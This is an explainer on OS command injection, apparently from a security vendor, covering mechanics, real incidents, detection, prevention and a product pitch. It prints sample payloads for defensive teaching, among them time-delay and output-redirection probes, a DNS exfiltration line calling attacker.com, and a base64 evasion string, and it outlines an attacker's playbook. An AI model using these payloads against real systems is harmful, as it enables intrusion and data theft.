What Is Command Injection? How Attackers Exploit It

What Is Command Injection?

Command injection is a vulnerability that lets attackers execute arbitrary operating system (OS) commands on a host through a vulnerable application. It happens when software builds an OS command by pasting in text a user supplied. If that text contains characters the shell treats as instructions, such as; or |, the shell runs them as part of the command. The injected commands run with the privileges of the vulnerable application process, which often means direct access to the underlying server.

Cataloged in MITRE's Common Weakness Enumeration (CWE) as CWE-78 (OS Command Injection) and its parent CWE-77 (Command Injection), this weakness sits within the broader CWE-74 injection family. Command injection extends an application's existing OS calls by appending attacker-controlled instructions to shell commands the application already makes. The attacker needs no new code in the application runtime and no access to a database engine. The application's own shell call does the work.

The damage is a matter of public record. The Shellshock vulnerability (CVE-2014-6271) let attackers execute commands through crafted Bash environment variables. Failure to patch a command execution flaw in Apache Struts, CVE-2017-5638, later opened the door to the Equifax breach and the personal data of 147 million people. CWE-78 also ranks first on the KEV Top 10, MITRE's 2025 ranking of the weaknesses behind CISA's Known Exploited Vulnerabilities (KEV) catalog. No weakness is weaponized more often.

The mechanics are simple. So is the principle that stops them: keep user data out of shell instructions.

How Does Command Injection Work?

Command injection exploits a fundamental design flaw: an application passes user-controlled input directly into a system shell without separating data from instructions. When the shell receives the concatenated string, it interprets attacker-supplied metacharacters as command separators, substitutions, or operators.

The core mechanic

Consider a web application that performs DNS lookups by passing a user-supplied hostname to the OS:

If you supply example.com, the shell executes /path/to/nslookup example.com as intended. But if an attacker supplies example.com ; /bin/ls -l, the shell sees two distinct commands:

The semicolon acts as a command separator on Unix systems. The shell executes nslookup first, then runs ls -l, returning a directory listing the developer never intended.

Shell metacharacters

Attackers rely on a set of shell-significant characters to break out of the intended command context. Per PortSwigger Academy:

When attacker input appears inside quotation marks in the original command, the attacker must first close the quoted context before metacharacters take effect.

Two Structural Subtypes

MITRE identifies two distinct subtypes of OS command injection:

Subtype 1: Command Separator Injection. The application runs a fixed program and uses user input as arguments. Attackers cannot change which program runs but can append additional commands via separators. This is the most common form.

Subtype 2: Full Command Control. The application uses input to determine which program executes entirely. For example:

If an attacker controls the SCRIPTNAME property, they choose what binary runs.

Classic vs. blind vs. second-order

Classic (in-band) injection returns command output directly in the HTTP response. Supplying & echo aiwefwlguh & confirms injection when the echoed string appears in the response body.

Blind injection produces no visible output. Attackers confirm execution through three techniques documented by PortSwigger:

• Time delays: & sleep 10 & causes a measurable response delay.
• Output redirection: ||whoami>/var/www/images/output.txt|| writes results to a web-accessible path.
• Out-of-band callbacks: & nslookup `whoami`.attacker.com & triggers a DNS lookup to a domain the attacker controls, embedding the command output in the subdomain.

Second-order injection stores the malicious payload at submission time. The injection triggers later when a different application function retrieves the stored data and incorporates it into a command. This makes source-to-sink tracing far more difficult during code review.

Each of these types exploits the same root cause: unsanitized input reaching a system shell. One root cause means one discipline closes all three.

Causes of Command Injection

Command injection does not stem from a single coding mistake. It emerges from a pattern of development practices that fail to separate user data from shell instructions.

Direct shell invocation with user input

The most common cause is calling OS shell functions and concatenating user-controlled strings into the command. Every major programming language offers functions that invoke the system shell, and developers reach for them when they need quick access to OS utilities:

Sources: OWASP Cheat Sheet, Bugcrowd blog

Insufficient input validation

When developers do validate input, they often rely on denylists that attempt to block specific dangerous characters. The OWASP Validation Cheat Sheet characterizes denylist validation as a "massively flawed approach" because attackers bypass it through encoding variations, alternative separators, or argument injection that requires no shell metacharacters at all.

Indirect input vectors

Command injection does not always arrive through a form field or URL parameter. Per OWASP community and MITRE CWE-78, documented input vectors include:

• Environment variables
• Filenames within archives
• FTP server responses
• HTTP headers and cookies passed to system calls
• Java Virtual Machine (JVM) system properties and runtime configuration values

Any of these vectors can carry shell metacharacters into a command string if the receiving code does not validate them.

Missing parameterization

Languages and frameworks offer parameterized command execution that separates the command from its arguments. When developers skip these safer APIs, choosing subprocess.run(f"ping {user_input}", shell=True) over subprocess.run(["ping", user_input], shell=False), they leave the shell to interpret everything as a single string, metacharacters included.

Least-privilege failures

Even when injection occurs, the damage depends on the privileges of the vulnerable process. Applications running as root or with elevated service accounts give the attacker full system access upon successful injection. Per OWASP WSTG, web applications should run under strict permissions that do not allow arbitrary OS command execution.

Every one of these causes, if not fixed, compounds into real damage.

Impact and Risk of Command Injection

Command injection consistently ranks among the highest-severity vulnerabilities because it provides a direct path from a web request to OS-level control. The impact spans technical, operational, and strategic dimensions.

Technical impact

Successful OS command injection enables:

• Arbitrary command execution with the privileges of the vulnerable application process
• Full system compromise when applications run as root or with elevated privileges
• Data exfiltration through outbound network connections or DNS tunneling
• Persistent access via implants, backdoors, or new user accounts
• Lateral movement to other systems accessible from the compromised host

The severity scales with the privileges of the compromised process and the network position of the affected host.

Business impact

Documented real-world consequences include:

• Ransomware deployment: Attackers exploited Apache ActiveMQ CVE-2023-46604, a deserialization flaw that ends in arbitrary shell commands, to deliver HelloKitty ransomware. Its CISA KEV entry confirms active exploitation
• Nation-state espionage: A joint FBI and CISA DPRK advisory (AA24-207A) lists CVE-2023-46604 among the flaws North Korea's Andariel group exploited in a global espionage campaign

These incidents demonstrate that command injection affects organizations across sectors and at every scale.

The weaponization gap

Command injection's defining trait is the gap between how often it appears and how often attackers use it. CWE-78 ranks ninth in MITRE's 2025 CWE Top 25 by overall prevalence, yet it sits first on the KEV Top 10. MITRE characterizes this divergence as reflecting "the types of vulnerabilities that are easiest to exploit and have the most desirable impact for adversaries."

That gap shows what attackers value: one request, one shell. Their playbook follows from it.

How Attackers Exploit Command Injection

Attackers follow a structured methodology when targeting command injection, moving from discovery through confirmation to full exploitation.

Step 1: Identify Injection Points

Attackers look for application features that interact with the OS: file operations, DNS lookups, network diagnostics, PDF generation, image processing, or system administration interfaces. They probe every input that might reach a shell, including URL parameters, form fields, HTTP headers, cookies, and uploaded filenames.

Step 2: Test for execution

For classic injection, the attacker submits payloads containing shell metacharacters and looks for command output in the response:

If randomstring appears in the response, the application passes input to a shell.

For blind injection, the attacker uses time-based payloads:

A consistent delay confirms execution without visible output. Alternatively, out-of-band payloads trigger DNS callbacks:

The attacker monitors their DNS server for incoming lookups containing the output of whoami as a subdomain.

Step 3: Enumerate the environment

Once execution is confirmed, attackers run discovery commands: whoami, id, ifconfig, uname -a, cat /etc/passwd. These reveal the user context, network configuration, and OS version, informing the next phase.

Step 4: Establish persistence and escalate

From initial shell access, attackers typically:

1. Download additional tools via curl or wget to attacker-controlled servers
2. Create new user accounts or SSH keys for persistent access
3. Exploit local privilege escalation to reach root
4. Move laterally to other systems accessible from the compromised host

Each of these actions leaves telemetry behind. With the right instrumentation in place, that telemetry becomes your early warning.

Step 5: Exploit chained vulnerabilities

Attackers frequently combine command injection with other flaws for greater impact. In the Cisco IOS XE campaign, attackers first exploited CVE-2023-20198 to gain initial access, then used CVE-2023-20273 to elevate to root and write a persistent implant. The Ivanti Connect Secure chain combined an authentication bypass with injection. Unauthenticated attackers could then execute arbitrary commands with elevated privileges.

Evasion techniques

Sophisticated attackers bypass basic filters through:

• Encoding: URL encoding, base64 wrapping (;bash<<<$(base64 -d<<<d2hvYW1p))
• Alternative separators: Newline characters (0x0a) instead of semicolons
• Argument injection: Using -exec flags without any shell metacharacters at all
• Quoted context escaping: Closing developer-defined quotes before injecting separators

Understanding who faces the greatest risk helps prioritize your defenses.

Who Is Affected by Command Injection?

Command injection affects any system where an application constructs OS commands using external input. Knowing where the risk concentrates tells you where to defend first.

Network and security appliances

VPN gateways, firewalls, routers, and switches represent the highest-risk attack surface for command injection. CISA's KEV catalog shows a concentration of actively exploited command injection flaws in Ivanti Connect Secure, Cisco IOS XE, Cisco NX-OS, and Zyxel firewalls and routers. These devices sit at the network perimeter, are internet-facing by design, and often run embedded operating systems that lack the security tooling available on general-purpose servers.

IoT and embedded devices

Cameras, network video recorders (NVRs), and consumer-grade networking equipment frequently contain command injection vulnerabilities with no available fix. End-of-life GeoVision IoT devices (CVE-2024-6047, CVE-2024-11120) appear in the KEV catalog as actively exploited. Zyxel’s decision not to patch end-of-life routers affected by CVE-2024-40891 left devices with default credentials and unvalidated Telnet commands exposed indefinitely.

Web applications with OS integration

Any web application that calls system utilities, processes files, generates reports, or manages server infrastructure through shell commands is at risk. Self-hosted deployment platforms like Coolify demonstrate that modern DevOps tools carry the same classic vulnerability when database backup, import, or init script functions pass user input to the shell.

Critical infrastructure and healthcare

Critical infrastructure operators and healthcare organizations face elevated risk when exposed systems combine internet reachability, operational sensitivity, and vulnerable software or hardware. The May 2023 attacks on Danish energy companies show how fast that combination turns into a live incident.

Emerging AI and LLM platforms

MITRE CWE Version 4.16 added an AI-related demonstrative example to CWE-77: a prompt injection case that marks a new attack surface. Recent CWE-78 examples now include AI agent and large language model (LLM) training platforms, where Python Popen calls process unsanitized input from AI pipeline components.

Documented incidents show how these risks play out in production environments.

Real-World Examples of Command Injection

Since 2014, command injection has enabled some of the most consequential security incidents on record, affecting everything from consumer web infrastructure to critical national systems.

Shellshock (2014): Mass exploitation of GNU Bash

CVE-2014-6271 affected GNU Bash through version 4.3. Bash processed trailing strings after function definitions in environment variables, allowing remote attackers to execute arbitrary commands through any vector that set environment variables before invoking Bash. Attack surfaces included Apache CGI scripts, OpenSSH ForceCommand, and DHCP client scripts.

Shellshock carries a Common Vulnerability Scoring System rating of CVSS 9.8. The original patch was incomplete. Follow-up fixes shipped under CVE-2014-7169, CVE-2014-6277, and CVE-2014-6278.

Equifax breach (2017): Records exposed

CVE-2017-5638 in Apache Struts 2 allowed remote command execution through a crafted Content-Type, Content-Disposition, or Content-Length HTTP header sent to the Jakarta Multipart parser. This vulnerability became the entry point for the Equifax breach when the company failed to apply the available patch. The breach exposed the personal data of 147 million people, according to the Federal Trade Commission, and remains one of the largest data breaches in history. Technical details live in the National Vulnerability Database (NVD) record.

Denmark power grid attack (2023)

In May 2023, Russian-linked threat actors breached 22 Danish power companies. The first wave exploited CVE-2023-28771, a critical command injection flaw in Zykel routers, and attackers continued to exploit unpatched systems to maintain access. SektorCERT, the cybersecurity center for Danish critical infrastructure, disclosed the campaign in November 2023.

Ivanti Connect Secure mass exploitation (2024)

Starting January 2024, multiple threat groups weaponized a chain of CVE-2024-21887 (command injection) and CVE-2023-46805 (authentication bypass) against Ivanti Connect Secure VPN appliances. CISA issued an emergency advisory documenting the exploitation chain.

Coolify triple command injection (2026)

Disclosed in January 2026, Coolify flaws in the Coolify self-hosted deployment platform proved that command injection is a present-day risk. Three of them (CVE-2025-66209, CVE-2025-66210, and CVE-2025-66211, each rated CVSS 10.0) hit the database backup, database import, and PostgreSQL init script management functions. An authenticated user with database permissions could escape the container and take over the server.

These incidents span more than a decade. The following timeline shows how command injection has evolved.

Command Injection: A Historical Timeline

Command injection continues to appear in new contexts. The attack surface now extends into cloud infrastructure, IoT ecosystems, and AI platforms. Defenders who catch it at every layer, before and after exploitation, take that reach away.

How to Detect Command Injection

Finding command injection requires layered coverage across the development lifecycle, application runtime, and endpoint/network telemetry.

Static application security testing (SAST)

SAST tools analyze source code or binaries before runtime, scanning for vulnerable patterns without executing the application. For command injection, SAST identifies:

• Calls to dangerous sinks (system(), exec(), popen(), subprocess with shell=True)
• Untrusted data flowing from user-controlled sources (HTTP parameters, headers, cookies) into these sinks without validation
• Missing allowlist validation before OS command construction

SAST produces false positives and cannot observe runtime behavior. It identifies code patterns, not confirmed exploitability. Treat SAST findings as indicators requiring manual verification.

Dynamic application security testing (DAST)

DAST evaluates running applications by simulating attacks externally. Per the OWASP WSTG, effective DAST payloads for command injection include:

Tools like Burp Suite Professional and OWASP ZAP run these probes across application endpoints.

Runtime application self-protection (RASP)

RASP instruments the running application and catches command invocation from within the application context. RASP catches the actual forking of a process using Runtime.exec or ProcessBuilder.start, which means encoding and obfuscation techniques that fool perimeter defenses fail at this layer.

Endpoint and network behavioral indicators

For your SOC team, these process-level and network-level indicators signal command injection exploitation:

Process indicators:

• Web server processes (Apache, nginx, Tomcat) spawning cmd.exe, bash, sh, or PowerShell as child processes
• Child processes executing whoami, id, ifconfig, net user, or similar enumeration commands
• Base64-encoded strings appearing as command-line arguments to shell processes
• Processes invoking nslookup, curl, or wget from web application parent processes to non-corporate external destinations

Network indicators:

• Server-side processes generating outbound curl or wget requests to external IP addresses
• New user agents (curl, wget) originating from internet-facing systems that deviate from baseline
• DNS lookups from server processes to unusual external domains, consistent with out-of-band application security testing (OAST) exfiltration payloads

The strongest defense stops injection before it ever reaches a shell.

How to Prevent Command Injection

Prevention follows a defense hierarchy established by the OWASP Defense Cheat Sheet. Start with the strongest controls and layer additional defenses behind them.

1. Eliminate OS command calls entirely

The most effective prevention is never calling OS commands from application-layer code. Per PortSwigger, virtually every shell command has a language-native alternative. Use InetAddress.getByName("host") instead of shelling out to ping. Use Python's shutil.copy() instead of os.system("cp ..."). Use PHP's built-in copy() instead of system("cp ...").

2. Parameterize when shell calls are unavoidable

If you must invoke OS commands, use structured APIs that separate the command from its arguments:

py

Java

In PHP, escapeshellarg() wraps user input in single quotes, treating the entire value as a single argument. This prevents injection but not argument manipulation.

3. Validate with allowlists, not denylists

Define exactly what input is permitted. Everything else is rejected by default.

A practical allowlist regex for command arguments, per the OWASP Defense Cheat Sheet, is ^[a-z0-9]{3,10}$.

The characters that must be excluded from any allowlist regex for command arguments, per OWASP:

4. Use the -- argument delimiter

Per POSIX Guideline 10, the first -- argument signals the end of options. All following arguments are treated as operands even if they begin with -:

shell

This prevents argument injection when user input might contain dash-prefixed values.

5. Enforce least-privilege execution

Run web applications and components under strict permissions that do not allow arbitrary OS command execution. Since injected commands execute with the privileges of the vulnerable application, a process running as an unprivileged user limits the damage scope even when injection succeeds.

6. Align with NIST SSDF

NIST SP 800-218 (Secure Software Development Framework) provides the governance layer. Practice PW.8 calls for testing code to find vulnerabilities before release. Practice PW.9 calls for secure default settings that keep dangerous configurations out of production.

Pair these controls with the right tooling, and command injection becomes a flaw you catch early instead of one you clean up late.

Tools for Detection and Prevention

The SAST and RASP approaches covered above handle code review and runtime protection. Three more layers complete the defense.

DAST tools

Burp Suite Professional and OWASP ZAP probe running applications with injection payloads, including time-based and out-of-band techniques for blind command injection. Run DAST scans against staging environments regularly.

Web application firewalls (WAFs)

The OWASP ModSecurity Core Rule Set includes REQUEST-932-APPLICATION-ATTACK-RCE rules specifically targeting remote code execution. AWS WAF Managed Rules provide similar coverage through the Core Rule Set.

However, WAFs carry a critical limitation. Researchers at MDSec documented real-world evasion against multiple major WAF products, concluding that WAFs are "too often relied upon as a single line of defense." Bypass techniques include request normalization vulnerabilities and HTTP parameter pollution. WAFs should supplement, never replace, application-level input validation.

EDR/XDR platforms

Endpoint detection and response (EDR) and extended detection and response (XDR) platforms form the final defense layer. They watch OS process and network telemetry after an injection succeeds and flag unexpected child processes, anomalous network connections, and lateral movement. This is where behavioral AI becomes essential: signature-based tools cannot anticipate every command an attacker might run through an injection vulnerability.

How can SentinelOne help?

SentinelOne's Singularity™ Platform meets command injection at the post-exploitation layer, where many organizations have the weakest coverage. In the 2024 MITRE ATT&CK Evaluations, SentinelOne achieved 100% detection with zero delays and 88% fewer alerts than competing solutions. That matters the moment a web server spawns bash or cmd.exe after a successful injection.

Singularity AI SIEM correlates telemetry, network connections, and identity signals into a unified view. When a command injection exploit triggers outbound curl requests to attacker infrastructure followed by lateral movement, Singularity AI SIEM links these events into a single attack narrative rather than generating disconnected alerts.

Purple AI™ enables threat hunting in natural language across your Singularity Data Lake. According to IDC, Purple AI customers achieved 63% faster threat identification and a 55% reduction in MTTR. Your team gets from a suspicious child process to an explained incident faster.

For organizations managing IoT and embedded devices where agent deployment is impossible, the platform's network-level telemetry and identity-based behavioral analysis provide visibility into command injection exploitation against devices like the unpatched Zyxel routers and GeoVision cameras that appear in the CISA KEV catalog.

Request a SentinelOne demo to see how the Singularity Platform finds and stops command injection exploitation across your environment.

AI-Powered Cybersecurity

Elevate your security posture with real-time detection, machine-speed response, and total visibility of your entire digital environment.

Get a Demo

Related Vulnerabilities

Command injection belongs to the broader CWE-74 injection family. Understand its siblings and how they chain together, and you close every path that leads back to the shell.

Argument injection (CWE-88)

A child of CWE-77, argument injection does not require shell metacharacters. The attacker stays within the intended command but manipulates which arguments or flags are passed. Per MITRE, if the program supports a -exec switch, argument injection chains directly into OS command injection. Developers who block shell metacharacters but permit dash-prefixed values remain vulnerable.

Code injection (CWE-94)

Code injection feeds new code into the application's runtime interpreter (eval(), include(), exec() in PHP/Python). Per OWASP, "Command Injection differs from Code Injection in that Code Injection allows the attacker to add their own code that is then executed by the application." Code injection bridges to OS command execution when the injected code calls system().

SQL injection (CWE-89)

SQL injection manipulates database queries. It reaches OS command execution through database-specific features: Microsoft SQL Server's xp_cmdshell executes OS commands directly from within a SQL query, and MySQL User Defined Functions provide a similar bridge. MITRE documents these escalation paths in its Common Attack Pattern Enumeration and Classification (CAPEC) catalog as CAPEC-108 (Command Line Execution through SQL Injection).

Server-side template injection (SSTI)

Mapped to CWE-94, SSTI occurs when user input is concatenated into templates rather than passed as data values. Per PortSwigger, at the severe end, SSTI achieves remote code execution and full server control. Documented attack chains show stored cross-site scripting (XSS) delivering SSTI payloads that execute OS commands through template engine class access.

Deserialization of untrusted data (CWE-502)

Deserialization attacks use crafted serialized objects that trigger code execution during object instantiation. Per MITRE, Python pickle payloads can override __reduce__ to call Popen and spawn a shell. Java gadget chains through Apache Commons Collections achieve Runtime.exec(). The critical bypass advantage: payloads arrive as binary blobs that evade all string-based input validation.

The unifying principle

Per MITRE CWE-94: "All injection problems share one thing in common: they allow for the injection of control plane data into the user-controlled data plane." The specific interpreter, whether OS shell, SQL engine, template engine, or deserializer, determines the CWE classification and attack syntax. The root cause is identical: unsanitized input reaching an interpreter that treats data as instructions.